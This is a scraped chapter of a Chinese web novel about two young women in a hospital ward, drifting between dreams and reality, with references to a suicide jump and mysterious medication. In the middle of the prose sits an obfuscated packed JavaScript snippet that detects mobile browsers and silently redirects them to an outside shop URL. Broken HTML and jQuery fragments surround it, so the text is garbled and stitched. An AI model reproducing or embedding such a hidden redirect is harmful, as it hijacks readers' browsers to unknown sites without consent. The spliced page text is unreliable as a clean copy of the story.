文趣网 > 其他小说 > 镜垩 > 48. 等待进入网审
    “齐晴,如果我死了,你还会记得我吗?”

    虞清漄弯着眼轻笑,侧首望向身侧躺卧青草间的少女。齐晴阖着眼眸,和煦微风拂过遍野花海,清甜花香漫裹周身,温柔缱绻。

    齐晴缓缓睁眼,瞳仁盛着万里晴空与流云,天光澄澈,是极好的天气。

    “你不会死的。”她转头对上虞清漄眼底柔光,眉眼弯起,笑意赤诚,“我们要岁岁年年,一直在一起。”

    “你总说这些丧气话,我不喜欢。”

    “我是说,如果。”虞清漄声线轻淡执拗,非要逼出一句笃定答案。

    齐晴眉心微蹙,素来不愿预判虚妄未来,可看着少女执拗眼眸,终究软下心肠,应声作答:“我会。”

    她撑着草地坐起身,鼻尖蹭过少女肩头,语气委屈又软糯,温热气息拂过细腻颈侧,晕开浅浅绯色:“那你若是走了,我想你了怎么办?很想很想你的时候,又该怎么办?”

    “你不会舍得让我难过的,对不对?”

    虞清漄眼底漾开浅淡笑意,抬手指向蓝天:“我最喜欢蓝色。往后你想我,就抬头看天空。天色如何,我的心绪便如何。”

    齐晴的左手从身侧的草地上抬了起来,像是要去够什么东西,又像只是换了一个姿势。她的手指在空气中停了一瞬,然后落下来,指腹轻轻擦过自己左手腕内侧那道旧疤的位置——一个几乎看不出来的触碰。她没有低头去看,虞清漄也没有往她手的方向看,风从两人之间穿过去,草叶沙沙响了一声。

    “你倒把自己当成天地神明了。”齐晴失笑,重新躺回落英草地。

    “那若是天降大雨呢?”

    虞清漄轻声呢喃,语气温柔酸涩,“下雨就是我在落泪,我在难过。所以你要日日开心,替我守住万里晴空。”

    虞清漄张开双臂舒展身躯,齐晴眼底盛满暖意,猛地发力将人拽倒,两人相拥跌落在漫山繁花里,笑声轻盈,揉碎一整个春日暖风。

    幻境骤然碎裂。

    窗外冷雨细密斜落,密密麻麻砸在玻璃窗面,晕开层层叠叠模糊水痕,朔风裹挟刺骨寒意席卷而来,蚀骨冰凉。

    掌心接住滴落雨水,积水盈满又顺着指缝滑落,指尖寒凉刺骨,半边手臂僵硬发麻。

    “你怎么又哭了。”

    虞清漄声音颤抖哽咽,眼眶通红湿热,泪水源源不断滚落脸颊。她抬手胡乱擦拭泪痕,脚步执拗又坚定,步步向前。

    下一秒,脚步骤然踏空。

    急促喘息骤然凝滞,心脏骤然骤停,失重感裹挟狂风席卷周身,风声割裂耳膜。脑海里花海晴空、温柔相拥的画面寸寸崩塌,碾作细碎尘埃。

    幽暗死寂的深夜,密闭病房悄无声息,唯有两人沉稳剧烈的心跳共振,砰砰作响。

    虞清漄骤然坐起身,双手捂住脸颊,嗓音裹着梦醒后的沙哑疲惫,淡淡开口:“你还要在暗处,看我多久。”

    齐晴自角落阴影中缓步走出,递过一杯温热白水,眉眼沉郁:“你呢,沉溺梦境,醒了多久。”

    二人如同久别重逢的故人,心照不宣,不戳破梦里纠缠、现实对峙,直白袒露心底伤痕。

    “你为何要来。”虞清漄抬眸,清晰撞见她眼底积压已久的痛楚,轻声轻笑,“我早就告诉你,不要来找我,你怎么就是不听话。”

    指尖轻柔抚过齐晴的发丝,语气无奈又温柔:“你又为什么,要选择跳楼。”

    泪水瞬间溃堤,顺着齐晴下颌滚落。她哽咽失声,积压数年委屈尽数翻涌,爱恨撕扯:“那你呢?为什么不信我?为什么执意远赴国外,抛下我?”

    她恨不得剖开心口,将满腔执念、痛苦与孤苦,尽数摊开在少女面前。

    “齐晴,你不该只为我一人而活。”虞清漄轻抚她头顶,温柔如初遇那日,语气满是无力劝慰。

    “你后悔过吗?”齐晴死死攥住她衣摆,眼底猩红。

    后悔没有留下来陪我,哪怕当初对我撒谎也好。

    虞清漄轻轻摇头,眸光平和淡然:“晴晴,我从未后悔。你往前走好不好,别困在满是我的回忆里,自我囚禁。”

    “我不要!我绝不!”齐晴厉声打断,语气凄厉决绝,字字泣血,“你为什么一次次离开我,为什么一次次不要我。”

    但凡对上虞清漄,她的眼泪便汹涌不止。她死死抱住少女腰身,恨不得将她揉碎嵌进骨血,恨意与爱意纠缠交织,呢喃低语:“我恨你,虞清漄,我好恨你。”

    “这一次,我绝不会再输了。”

    她凝望少女精致苍白的脸庞,眼底偏执疯长:“从前我输,是我不懂取舍。我从不需要旁人相伴,我只要此时此刻,留在我身边的人是你。”

    齐晴缓缓起身,声线淡漠寒凉,如同锁住终生的枷锁囚笼:“从今往后,这里不会再留有你的回忆。”

    她说完之后,手从虞清漄肩头滑落。垂落的过程中,指尖在被褥上划了一道弧线——很轻,像是无意识的收尾,又像是在对刚才那段对话做一个落笔。弧线很短,收尾微微上扬,落在深色的被面上,几乎看不见。虞清漄的目光跟着她的手指落了一瞬,然后移开了,没有说任何话。

    沉闷窒息的钝感猛地拽回意识。

    空气浸水般厚重凝滞,无风无声,连光线都僵死冰冷。睁眼便是无边黑夜,病房彻底断电,如同密闭漆黑铁盒,每一次呼吸都滞重沙哑,裹挟燥热。

    停电了。

    虞清漄翻身下床,徒手拔掉手背输液针管,赤脚迈步穿行于漆黑病房,脚步声回荡空旷室内。手腕骤然被人狠狠攥紧,力道强势,将她猛地拉近。

    消毒水混着清浅冷香扑面而来,黑暗里,齐晴眼眸亮得刺骨,冷冽嗓音裹着蚀骨不甘,字字压迫:“你又想逃?”

    那语气偏执紧绷,仿佛少女但凡点头,她便要用绳索桎梏,将人永世捆绑。

    虞清漄缓缓挣动手腕,神色平静:“你在害怕什么。”

    她梳理纷乱破碎的虚实记忆,入梦太久,幻境与现实重叠错乱,已然分不清当下时序。

    “你在梳理记忆,分辨现实与梦境,对不对。”齐晴贴近她耳畔,一语戳破心思。

    “是。”虞清漄坦然应声。

    “你为何闯入这里。”少女再度发问,周身疏离对峙。

    齐晴指尖擦过眼角未干泪痕,苦笑出声:“你梦里早就问过答案了。清清,我最后问你一次,那些药,你到底吃没吃?”

    语气骤然放软,褪去所有锋芒,带着卑微恳求:“你隐瞒的秘密,是不是还服用了其他药剂?实验缺失的最后一味药引,到底是什么?求你,告诉我好不好。”

    “不好。”虞清漄神色淡漠坚定,“我不想说。”

    齐晴低低失笑,指尖缓缓划过发丝,垂落身侧。

    “好。”

    她侧身拉开病房房门,驻足门外,私心裹挟着忐忑,轻声发问:“虞清漄,你会不会后悔。”

    虞清漄轻轻摇头,清冷开口:“真正该后悔的,从来都是你们。”

    砰——

    房门重重闭合,隔绝一室黑暗。

    门外齐晴低笑渐次放大,笑声寒凉刺骨,低声自语:“那就好,但愿这一次,无人得以脱身,最好谁都不好过。”

    脚步声渐行渐远,消散长廊尽头。

    虞清漄伫立门后良久,垂眸看向掌心被悄然塞入的纸条,眸色沉沉。

    “还是一如既往,口是心非。”

    她将纸条揉成团,仰头硬生生吞咽而下。粗糙纸絮刮擦舌尖,墨汁涩苦裹挟纸张木味,划过食道紧绷刺痛,尽数沉入五脏六腑。

    少女垂眸轻笑,嗓音发哑:“好苦。”

    啪嗒——

    灯光骤然亮起。</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17738579|207787||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    屏幕日期定格:2069年,虞清漄十七岁生辰前夕。

    暖阳铺洒原野,风软云轻。

    年少少女眉眼明媚,肌肤白皙剔透,攥紧风筝线快步奔跑,唇角漾着纯粹笑意,奋力让蝴蝶风筝乘风升空。

    数次尝试尽数落空,风筝轻飘飘坠落掌心。虞清漄气喘吁吁抹掉额间薄汗,眉眼耷拉,满是委屈:“不玩了,它一点都不听话。”

    她抬脚轻踩风筝,赌气嘟囔:“都怪哥哥,非要给我买这一只!”

    虞清汜眉眼温润,轻笑纵容:“自己技术不好,反倒怪罪风筝。是哥哥不好,待会我帮你放,好不好?”

    他递过温水,温柔安抚。

    虞清漄眉眼舒展,反复叮嘱:“风筝飞高一定要喊我,千万别忘了。”

    少年抬手比出OK手势,顺势迎风奔跑,松手刹那,蝴蝶风筝扶摇直上,随风翩跹。

    少女骤然欢呼雀跃,快步奔至身侧,攥紧风筝线仰头凝望,连声催促:“哥哥快拍照!”

    她单手牵线,对着镜头俏皮比耶,身后彩鸢随风摇曳,那日天光和煦,春风温柔。

    平板视频骤然定格,画面封存年少无忧。

    虞清漄抬眸看向身侧之人,轻声发问:“姐姐,我以后会好起来吗?”

    窗外日光刺眼,玻璃反光炽亮,病房通透明亮,却没有半分暖意。少女半靠软垫,身覆软糯丝绒毛毯,安安静静落座,容貌绝美易碎,惹人怜惜。

    齐晴心头酸涩,知晓她又深陷情绪内耗,柔声安抚:“会的,清清一定会痊愈。你一直在配合治疗,一切都会慢慢变好。”

    她伸手关掉平板旧视频,轻抚少女发丝:“不看过往旧事了。等你腿部伤势好转,我们就外出散步。”

    一月前虞清漄入院休养,全程由齐晴陪护照料。听闻她本是顶尖舞蹈生,一场意外重伤双腿,彻底告别舞台。

    齐晴分不清心底浓烈情绪,是同情、惋惜,还是深入骨髓的心疼。她收好平板,轻声开口:“我们先吃药。”

    抽屉拉开,数瓶药剂整齐陈列。十几粒药片堆叠掌心,虞清漄蹙眉抗拒:“可不可以不吃。”

    “不行。”齐晴温柔哄劝,“乖乖吃完,给你糖果。”

    “你把我当小孩子哄。”少女小声抱怨,却依旧仰头吞下药片,摊开掌心撒娇,“我要五颗糖。”

    齐晴无奈浅笑,从口袋摸出仅剩两颗水果糖:“只有两颗,余下欠着,日后补给你。”

    虞清漄分出一颗糖果递给她,眉眼弯弯:“分你一颗,下次我要六颗。”

    剥开糖纸,甜腻果香漫开,压住满口药苦。她垂眸轻声询问:“下一场手术定在什么时候?”

    “下周。”齐晴收好糖果,眉头微蹙,“手术需要家属签字陪护,你身边无人陪同不行。”

    虞清漄神色平淡,笑意漠然:“哥哥定居国外无法赶回,爸妈也不会过来。我未成年,不能自主签字手术吗?”

    “不可以。”齐晴神色严肃,“制度不允许。”

    少女撇了撇嘴,轻声应允:“好吧,希望你们能联系上他们。”

    齐晴拉合遮光窗帘,柔声开口:“药效很快起效,午睡吧。”

    药力飞速侵袭四肢百骸,虞清漄转瞬昏沉睡去。齐晴静坐床边凝望半晌,轻手轻脚推门离开病房。

    她走出病房之后,站在走廊里停了一瞬。走廊尽头的应急灯亮着暗绿色的光。她低头看了一眼自己的右手掌心——手指上沾着一点细碎的灰尘,不知道什么时候蹭上去的。她轻轻拍掉,然后把手放进了外套口袋里。口袋里有一样东西,硬硬的,边缘卷曲,是干枯的。她的手指碰到它,停了一下,没有拿出来。她只是碰了一下那个轮廓,然后转身往走廊另一头走去。

    走廊暗处,一道清冷嗓音骤然响起:

    “你又去见她了?”